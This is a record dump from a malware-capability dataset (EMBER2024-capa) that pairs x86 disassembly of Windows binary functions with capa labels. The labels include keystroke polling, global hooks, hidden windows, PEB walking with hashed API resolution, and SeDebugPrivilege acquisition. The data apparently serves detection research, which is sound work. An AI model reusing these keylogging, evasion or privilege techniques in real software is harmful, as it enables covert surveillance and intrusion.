joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44c850
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x4aac5c]
cmp byte [eax + 0xc], 0
je 0x44c9bd
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44c9b6
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x4abb28], 0
jne 0x44c8a4
push 0x44c9c4
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x44c9cc
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4abb28], eax
cmp dword [0x4a8df4], 0
jne 0x44c99f
push 0x44c9dc
call sub.kernel32.dll_LoadLibraryA
mov dword [0x4a8df4], eax
cmp dword [0x4a8df4], 0
je 0x44c99f
push 0x44c9e8
mov eax, dword [0x4a8df4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4abb2c], eax
push 0x44c9f8
mov eax, dword [0x4a8df4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4abb30], eax
push 0x44ca0c
mov eax, dword [0x4a8df4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4abb34], eax
push 0x44ca24
mov eax, dword [0x4a8df4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4abb38], eax
push 0x44ca3c
mov eax, dword [0x4a8df4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4abb3c], eax
push 0x44ca50
mov eax, dword [0x4a8df4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4abb40], eax
push 0x44ca68
mov eax, dword [0x4a8df4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4abb44], eax
push 0x44ca80
mov eax, dword [0x4a8df4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4abb48], eax
push 0x44ca9c
mov eax, dword [0x4a8df4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4abb4c], eax
push 0x44caa8
mov eax, dword [0x4a8df4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4abb50], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44c9bd
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x45088c
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00404cf4
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x4508db
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.00404f64
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4580ac
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x4580fc]
test si, 4
je 0x4580c0
or bl, 1
test si, 8
je 0x4580ca
or bl, 4
test si, 1
je 0x4580d4
or bl, 8
test si, 2
je 0x4580de
or bl, 0x10
test si, 0x10
je 0x4580e8
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4580f7
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x458100
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x458138]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x458119
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x458128
or bl, 4
test esi, 0x20000000
je 0x458133
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x45e814
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x45e826
add esp, 0xfffffff0
call fcn.004041c0
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00424048
mov eax, dword [0x4aa6c4]
mov dword [eax + 4], ebx
mov dword [eax], 0x45ebb8
mov eax, dword [0x4aa6d8]
mov dword [eax + 4], ebx
mov dword [eax], 0x45ebc4
mov eax, ebx
call fcn.0045ebd0
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x41b810]
call fcn.00403e58
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x41b810]
call fcn.00403e58
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x41b810]
call fcn.00403e58
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x41b810]
call fcn.00403e58
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x41b810]
call fcn.00403e58
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x45afe8
push eax
push 0
push 0
mov eax, dword [0x4aa910]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x425ac8]
call fcn.00427260
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x425ac8]
call fcn.00427260
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x425ac8]
call fcn.00427260
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.0045f044
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x45ef0c
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x45ef0c
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x45ef0c
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x45e963
call fcn.00404218
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x45eccc
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd9c
push ebx
xor edx, edx
mov dword [ebp - 0x264], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x45ee9c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x45ee7d
mov dl, 1
mov eax, dword [0x41be74]
call fcn.00403e58
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00404cf4
lea eax, [ebp - 0x118]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
mov ebx, eax
call sub.kernel32.dll_GetSystemDefaultLangID
movzx eax, ax
mov dword [ebp - 0x10], eax
dec ebx
test ebx, ebx
jl 0x45ee6c
inc ebx
mov dword [ebp - 0x14], ebx
lea eax, [ebp - 0x118]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
call fcn.0044cbb0
test al, al
jne 0x45ed69
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x45ee5f
xor edx, edx
push ebp
push 0x45ee58
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x45ed89
mov ebx, dword [ebp - 0x10]
jmp 0x45ed8b
mov ebx, eax
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov dword [ebp - 0x260], ebx
mov byte [ebp - 0x25c], 0
lea ecx, [ebp - 0x260]
mov edx, 0x45eeac
lea eax, [ebp - 0x258]
call fcn.0040a494
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x45ee41
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x218]
push eax
push 0
push 0
push 0x45eee4
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x45ee41
lea eax, [ebp - 0x264]
lea edx, [ebp - 0x218]
mov ecx, pe_nt_image_headers32
call fcn.00404f64
mov edx, dword [ebp - 0x264]
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x45ee41
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x218]
mov ecx, pe_nt_image_headers32
call fcn.00404f64
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45ee5f
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x18], 4
dec dword [ebp - 0x14]
jne 0x45ed4a
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.004201e0
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45eea3
lea eax, [ebp - 0x264]
call fcn.00404cf4
ret
Function at 0x45f7e4
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x4abb74]
cmp byte [eax + 0xa5], 0
jne 0x45f855
cmp dword [0x4abb8c], 0
jne 0x45f816
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x45f7a0
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x4abb8c], eax
cmp dword [0x4abb88], 0
jne 0x45f831
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x4abb88], eax
cmp dword [0x4abb90], 0
jne 0x45f855
push esp
push 0
push 0
push 0x45f744
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x4abb90], eax
pop edx
ret

Function at 0x45fee8
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x4abb74]
cmp dword [eax + 0x30], 0
je 0x45ff92
cmp dword [ebx + 0x94], 0
jne 0x45ff8c
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x45fe78
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x45ff8c
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x45ff52
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x45ff8c
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.0041ddd4
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x45ff61
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x460af0
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x460b25
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404de4
jmp 0x460b32
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404d48
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x461c44
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x461c85
mov eax, esi
call fcn.00448148
test al, al
je 0x461c85
mov eax, dword [ebx + 0x84]
call fcn.00447e44
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x461c85
push 0
mov eax, dword [ebx + 0x84]
call fcn.00447e44
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x47ef00
Capabilities:
Check os version

Disassembly:
add esp, 0xffffff6c
mov dword [esp], 0x94
push esp
call sub.kernel32.dll_GetVersionExA
cmp dword [esp + 0x10], 2
jne 0x47ef25
cmp dword [esp + 4], 5
jb 0x47ef25
mov al, 1
jmp 0x47ef27
xor eax, eax
add esp, 0x94
ret
Function at 0x492064
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x492092
mov eax, ebx
call fcn.00492b18
cmp dword [ebx + 0x40], 0
je 0x49208b
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x492103
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x4920f5
cmp dword [ebx + 8], 0
je 0x4920b4
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x4920c6
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x4920f5
cmp dword [ebx + 8], 0
je 0x4920a7
cmp eax, 3
je 0x4920d9
dec eax
jne 0x4920a7
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x4920a7
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x4920a7
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x492121
cmp dword [ebx + 0x14], 0xcc
je 0x492121
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.0049212c
pop ebx
ret

Function at 0x4a5f50
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe2c
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.004051a4
mov eax, dword [ebp - 8]
call fcn.004051a4
xor eax, eax
push ebp
push 0x4a609e
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x20
mov eax, dword [ebp - 8]
call fcn.004051b4
push eax
call sub.kernel32.dll_SetFileAttributesA
push 0x4abe4c
call sub.kernel32.dll_EnterCriticalSection_1
xor eax, eax
push ebp
push 0x4a607c
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x1d4]
call fcn.004032ec
mov eax, dword [ebp - 8]
call fcn.00409be4
test al, al
je 0x4a5fe9
cmp byte [ebp + 8], 0
jne 0x4a5fd7
lea eax, [ebp - 0x1d4]
call fcn.00403088
call fcn.00402d08
jmp 0x4a5ff9
lea eax, [ebp - 0x1d4]
call fcn.0040307c
call fcn.00402d08
jmp 0x4a5ff9
lea eax, [ebp - 0x1d4]
call fcn.0040307c
call fcn.00402d08
xor eax, eax
push ebp
push 0x4a605d
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [ebp + 0xc], 0
je 0x4a6027
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x1d4]
call fcn.004053d0
call fcn.00403938
call fcn.00402d08
jmp 0x4a603f
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x1d4]
call fcn.004053d0
call fcn.004033a8
call fcn.00402d08
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a6064
lea eax, [ebp - 0x1d4]
call fcn.004033b4
call fcn.00402d08
ret

Function at 0x4a61bc
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebx
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov ebx, eax
inc ebx
jne 0x4a61dd
call sub.kernel32.dll_GetLastError_1
cmp eax, 0x276d
jne 0x4a61dd
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret
Function at 0x4a61e4
Capabilities:
Initialize winsock library

Disassembly:
push ebx
push esi
add esp, 0xfffffe70
call fcn.004a61bc
test al, al
jne 0x4a6250
mov dl, 2
mov al, 2
call fcn.00407eb0
movzx eax, ax
push esp
cmp eax, 0xffff
jbe 0x4a620e
call fcn.00403dc4
push eax
call sub.wsock32.dll_WSAStartup
mov esi, eax
test esi, esi
je 0x4a6250
mov eax, dword [0x4aa73c]
mov edx, 0x4a6264
call fcn.004053d0
mov edx, esi
call fcn.004038ec
call fcn.00403938
call fcn.00402d08
mov eax, dword [0x4aa968]
call fcn.00403620
call fcn.00402d08
push 1
call sub.kernel32.dll_ExitProcess_1
mov eax, ebx
add esp, 0x190
pop esi
pop ebx
ret
Function at 0x402920
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
cld
xor edx, edx
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x40294e
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x402945
cmp edi, 0x6a4abc5b
mov ebx, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x40293d
mov eax, ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x40296f
mov esp, ebp
pop ebp
ret

Function at 0x402973
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
add esp, 0xffffffec
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 0x10]
xor edx, edx
xchg edx, eax
mov esi, 0x3c
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov esi, dword [eax + 0x78]
add esi, 0x18
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
mov dword [ebp - 0x14], eax
add esi, 4
lea edi, [ebp - 8]
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
stosd dword es:[edi], eax
mov dword [ebp - 8], eax
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
push eax
stosd dword es:[edi], eax
mov dword [ebp - 0xc], eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
pop esi
mov dword [ebp - 4], 0
push esi
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
xchg edi, eax
mov ebx, edi
push edi
xor al, al
scasb al, byte es:[edi]
jne 0x4029df
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x402a0c
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x4029fb
xor ecx, eax
xor edx, ebx
dec edi
jne 0x4029ec
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop edx
cmp edx, eax
je 0x402a32
pop esi
add esi, 4
add dword [ebp - 4], 1
jmp 0x4029d3
pop esi
mov eax, dword [ebp - 4]
shl eax, 1
add eax, dword [ebp - 0x10]
xor esi, esi
xchg esi, eax
mov ax, word [esi]
shl ax, 2
add eax, dword [ebp - 8]
xchg esi, eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
pop ecx
pop edx
pop edi
pop ebx
pop esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x402a5e
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4078d8
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 8
call fcn.00409435
add esp, 4
mov dword [ebp - 0xc], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 0x10
call fcn.00409435
add esp, 4
mov dword [ebp - 0x10], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov dword [ebp - 0x14], 0
push 0x10
call fcn.00409435
add esp, 4
mov dword [ebp - 0x18], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
push 0
mov ebx, 0x40a960
call fcn.00409453
add esp, 4
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
je 0x407998
mov eax, 0
jmp 0x407b04
cmp dword [ebp + 0xc], 0
jne 0x4079c4
mov dword [ebp - 0x1c], esp
mov eax, 8
call fcn.0040944d
cmp dword [ebp - 0x1c], esp
je 0x4079c1
push 6
call fcn.00409447
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp + 0x14], 0
jne 0x4079ec
mov eax, str.SeDebugPrivilege
push eax
mov ebx, dword [ebp + 0x10]
mov ebx, dword [ebx]
test ebx, ebx
je 0x4079e6
push ebx
call fcn.0040943b
add esp, 4
pop eax
mov ebx, dword [ebp + 0x10]
mov dword [ebx], eax
mov dword [ebp - 0x1c], esp
lea eax, [ebp - 8]
push eax
push 0x28
push dword [ebp - 4]
mov eax, 9
call fcn.0040944d
cmp dword [ebp - 0x1c], esp
je 0x407a17
push 6
call fcn.00409447
add esp, 4
mov dword [ebp - 0x1c], esp
push dword [ebp - 0xc]
mov ebx, dword [ebp + 0x10]
push dword [ebx]
push 0x49906e
mov eax, 0xa
call fcn.0040944d
cmp dword [ebp - 0x1c], esp
je 0x407a43
push 6
call fcn.00409447
add esp, 4
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov dword [ebx], 1
mov ebx, dword [ebp - 0x10]
add ebx, 4
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x20]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x1c]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x10]
add ebx, 8
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0xc]
add ebx, 4
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x20]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x1c]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x10]
add ebx, 0xc
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov dword [ebx], 2
mov dword [ebp - 0x1c], esp
mov eax, 0
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x18]
push 0x1c
push dword [ebp - 0x10]
push 0
push dword [ebp - 8]
mov eax, 0xb
call fcn.0040944d
cmp dword [ebp - 0x1c], esp
je 0x407ad7
push 6
call fcn.00409447
add esp, 4
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], esp
push dword [ebp - 8]
mov eax, 6
call fcn.0040944d
cmp dword [ebp - 0x1c], esp
je 0x407afc
push 6
call fcn.00409447
add esp, 4
mov eax, dword [ebp - 0x14]
jmp 0x407b04
push eax
mov ebx, dword [ebp - 0xc]
push ebx
call fcn.0040943b
add esp, 4
mov ebx, dword [ebp - 0x10]
push ebx
call fcn.0040943b
add esp, 4
mov ebx, dword [ebp - 0x18]
push ebx
call fcn.0040943b
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4085c3
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ebp + 0xc], eax
jmp 0x4085d3
sub esp, 0x38
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
cmp dword [ebp + 8], 0
jle 0x408628
push dword [ebp + 8]
call fcn.004087d4
mov dword [ebp - 0x24], eax
cmp word [ebp - 0x24], 0x5a4d
jne 0x408628
xor eax, eax
jmp 0x40862d
mov eax, 1
test eax, eax
je 0x40863f
mov eax, 0
jmp 0x4087ce
push 0x3c
push dword [ebp + 8]
call fcn.00408816
push eax
call fcn.004087f0
push eax
push dword [ebp + 8]
call fcn.00408816
mov dword [ebp - 4], eax
push dword [ebp - 4]
call fcn.004087f0
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x4550
jne 0x40869a
push 0x7c
push dword [ebp - 4]
call fcn.00408816
push eax
call fcn.004087f0
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x40869a
xor eax, eax
jmp 0x40869f
mov eax, 1
test eax, eax
je 0x4086b1
mov eax, 0
jmp 0x4087ce
push 0x78
push dword [ebp - 4]
call fcn.00408816
push eax
call fcn.004087f0
push eax
push dword [ebp + 8]
call fcn.00408816
mov dword [ebp - 8], eax
push 0x20
push dword [ebp - 8]
call fcn.00408816
push eax
call fcn.004087f0
push eax
push dword [ebp + 8]
call fcn.00408816
push eax
call fcn.004087f0
push eax
push dword [ebp + 8]
call fcn.00408816
mov dword [ebp - 0xc], eax
push 0x18
push dword [ebp - 8]
call fcn.00408816
push eax
call fcn.004087f0
mov dword [ebp - 0x10], eax
push 1
push dword [ebp - 0x10]
call fcn.0040883d
push eax
lea eax, [ebp - 0x10]
mov ebx, eax
mov ecx, 0
pop edx
push edx
push ecx
push ebx
mov dword [ebx], ecx
cmp ecx, edx
jg 0x4087c1
push dword [ebp - 0x18]
push dword [ebp - 0xc]
call fcn.00408816
mov dword [ebp - 0x14], eax
push dword [ebp + 0xc]
push dword [ebp - 0x14]
call fcn.00408864
test eax, eax
je 0x4087a4
push 0x1c
push dword [ebp - 8]
call fcn.00408816
push eax
call fcn.004087f0
push eax
push dword [ebp + 8]
call fcn.00408816
mov dword [ebp - 0x24], eax
push 4
push dword [ebp - 0x10]
call fcn.00408898
push eax
push dword [ebp - 0x24]
call fcn.00408816
push eax
call fcn.004087f0
push eax
push dword [ebp + 8]
call fcn.00408816
jmp 0x4087ce
push dword [ebp - 0x14]
call fcn.004088c0
push eax
push dword [ebp - 0x18]
call fcn.00408816
mov dword [ebp - 0x18], eax
pop ebx
pop ecx
pop edx
inc ecx
jmp 0x40872d
add esp, 0xc
mov eax, 0
jmp 0x4087ce
mov esp, ebp
pop ebp
ret 8